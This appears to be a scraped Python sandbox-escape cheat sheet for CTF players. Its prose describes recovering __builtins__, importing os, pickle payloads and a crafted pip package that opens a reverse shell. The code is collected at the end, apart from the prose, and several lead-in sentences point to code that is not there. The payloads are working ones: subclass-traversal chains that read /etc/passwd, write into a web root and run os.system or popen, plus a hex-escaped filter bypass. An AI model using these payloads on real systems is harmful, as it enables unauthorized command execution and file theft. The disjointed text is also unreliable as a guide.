These are some tricks to bypass python sandbox protections and execute arbitrary commands.
Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.
Python2 input() function allows to execute python code before the program crashes.
Importing
If sysmodule is present, you can use it to access oslibrary for example:
You can also import libraries and any file is using execfile() (python2):
Python try to load libraries from the current directory first: python3 -c 'import sys; print(sys.path)'
Bypass pickle sandbox with default installed python packages
If you have access to pip or to pip.main() you can install an arbitrary package and obtain a reverse shell calling:
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:
This package is called Reverse.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.
Executing python code
This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:
Compiling
In a previous example you can see how to execute any python code using the compile function. This is really interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF (for example because we don't have the compile function in the CTF).
For example, let's compile and execute manually a function that reads ./poc.py:
If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment call this function.
If you can access to the__builtins__ object you can import libraries (notice that you could also use here other string representation showed in last section):
No Builtins
When you don't have __builtins__ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back:
Python2
Python3
Python2 and Python3
Finding types
Dissecting functions
In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
This is the function to inspect:
dir
globals
__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
__code__ and func_code: You can access this to obtain some internal data of the function
Disassembly a function
Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.
import os
from os import *
__import__('os').system("ls")
sys.modules["os"].system("ls")
execfile('/usr/lib/python2.7/os.py')
system('ls')
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victimdoesn't even need to have the library installed to execute it
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__'].__import__("os").system("ls")
# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls')
#If attr is present
(''|attr('___class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
# Recover __builtins__ and make eveything easier
__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
__builtins__["__import__"]('os').system('ls')